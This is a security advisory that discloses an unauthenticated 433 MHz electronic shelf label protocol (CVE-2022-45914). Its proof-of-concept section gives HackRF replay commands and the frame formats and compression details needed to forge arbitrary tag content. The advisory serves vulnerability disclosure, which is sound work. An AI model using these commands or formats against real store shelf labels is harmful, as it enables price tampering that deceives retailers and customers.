SEC Consult Vulnerability Lab Security Advisory < 20221201-0 >

           title: Replay attacks & Displaying arbitrary contents  
         product: Zhuhai Suny Technology ESL Tag / ETAG-TECH protocol  
                  (electronic shelf labels)  

vulnerable version: All
fixed version: -
CVE number: CVE-2022-45914
impact: critical
homepage: http://www.zhsuny.com/
found: 2022-05-27
by: Steffen Robertz (Office Vienna)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

"Zhuhai Suny Technology Co., Ltd, founded in 2016 and located in Zhuhai
Guangdong, is the manufacturer of electronic shelf labels and Alibaba
Super Key Account Gold Supplier specializing in ESL with over 10 years’
experiences focusing on helping customers reduce cost and boost sales.

Since its founding, Suny has attached great importance to exploring
both international and domestic markets, thus becoming China’s top 1
manufacturer of electronic shelf labels. Its products have been widely
applied in supermarkets, retail stores, pharmacies, warehouses,
exhibitions, etc. We has currently provided services to customers from
more than 180 countries, and total sales in 2020 have exceeded
15 million US dollars."

Source: http://www.zhsuny.com/profile/

Business recommendation:

The vendor did not respond to our communication attempts, there is no patch
available. In case you are using the product, contact the vendor and urge
them to fix the security vulnerabilities.

SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.

The research has also been presented at various security conferences such as
hardwear.io, named "Self-labeling electronic shelf labels".

Vulnerability overview/description:

1. Replay Attack
   The displayed information on the price tag can be updated via a 433 MHz
   custom protocol (called ETAG-TECH). An attacker can record transmitted
   RF samples and replay them later to cause the same action. Thus, it is
   possible to restore an older price on the tag without the need for any
   information about the protocol or tag.

2. Forging ETAG-TECH protocol messages to display arbitrary content (CVE-2022-45914)
   The ETAG-TECH protocol was reverse engineered. It was noted, that no
   authentication is existent. Hence, one can display arbitrary content
   on the electronic tag by simply transmitting messages according to the
   protocol.

Proof of concept:

1. Replay Attack
   The tag and base station communicate at 433.264 MHz. Thus, the following
   HackRF command can be used to record a transmission:
   hackrf_transfer -r /tmp/old_price -f 433264000 -s 4000000 -a 1 -x 43 -l 16 -g 20

The following command was used in order to replay the signal:
hackrf_transfer -t /tmp/old_price -f 433264000 -s 4000000 -a 1 -x 43 -l 16 -g 20

A video of the attack has been published here: https://youtu.be/hj_ao25HU1E

2. Forging ETAG-TECH protocol messages to display arbitrary content (CVE-2022-45914)
   The base station will transmit a compressed image to the tag. Thus,
   any content can be displayed.

Following steps will have to happen:
I) Send wake-up frames to the tag.
II) Compress the picture that should be displayed.
III) Wrap the compressed picture into the picture data structure.
IV) Split the data structure into the image frames.
V) Listen for the tag’s response.

I) The Wake-up Frame:
The CRC is calculated over the whole frame, starting with the frame length
field. The frame counter is counting down to zero. Every unique frame
(=unique frame counter) is sent five times. The frame is transmitted at
175 kBaud.

Preamble	Sync Header	Frame Length	Tag ID	Fixed Value	Frame Counter	Fixed Value	CRC16
AAAAAAAAAAAAAAAA	D391D391	08	065302	0000	0398	0A	CRC

II) The Compression Algorithm:
Runlength encoding is used as compression algorithm. The image is read in
rows. An “a” stands for either a 1 or 0, depending on if it’s a run of
ones or zeros that is being encoded. A “c” stands for the length of the
run.

There are four different cases:

Case 1: Less than 8 consecutive bits
0b1aaaaaaa
Case 2: Less than 32 consecutive bits
0b0acccccc
Case 3: Less than 256 consecutive bits
0b1a000000 0bcccccccc
Case 4: Less than 2^16 consecutive bits
0b0a000000 0bcccccccc 0bcccccccc

III) The picture data structure
The compression header indicates the color channel:
FC00000000 = black
FC80000000 = red

LED	Batch Code	Fixed Value	LED Time	Compression header	Display Height	Display Width	Compressed Image Data
0700	BF75	00ED	000A	FC00000000	007F	0127	<Compressed Image Data>

IV) The Image Frames
Image frames can only hold 54 Bytes of data. Thus the previously generated
image data structure is split into chunks of 54 bytes or less.
The CRC is calculated over the whole frame, starting with the frame length
field. The frame counter indicates frame 1 out of 9. The frame is transmitted
at 100 kBaud.

Preamble	Sync Header	Frame Length	Tag ID	Frame Counter	Fixed Value	Payload	CRC16
AAAAAAAAAAAAAAAA	D391D391	08	065302	0901	33	<Image Data Structure>	CRC

V) The Tag’s Response
The frame is transmitted at 100 kBaud and repeated three times.

Preamble	Sync Header	Frame Length	Tag ID	Battery Voltage	RSSI	Temperature	CRC16
AAAAAAAAAAAAAAAA	D391D391	07	065302	1D = 2.9V	2068	E9 = 23.3C	CRC

Following these steps, custom images can be sent over the ETAG-TECH protocol.
The only required information is the tag ID which is printed on the tag.
Otherwise it can be sniffed by listening to the RF interface and waiting for base
station communication. Thus, the tag can be fully controlled by an attacker.

Videos of the attack have been published here:

• Displaying arbitrary tag contents: https://youtu.be/028Gn4VC8yE
• Receiving arbitrary ESL-TECH messages: https://youtu.be/x7t0QViu2gU

Vulnerable / tested versions:

No version information could be identified for this product.

Vendor contact timeline:

2022-08-14: Contacting vendor through [email protected] and [email protected]
No response.
2022-08-27: Contacting vendor through [email protected], no response.
2022-09-12: Contacting vendor again, communicating public release for October
No response.
2022-12-01: Public release of security advisory.

Solution:

The vendor did not respond to our communication attempts, there is no patch
available. In case you are using the product, contact the vendor and urge them
to fix the security vulnerabilities.

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

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EOF S. Robertz / @2022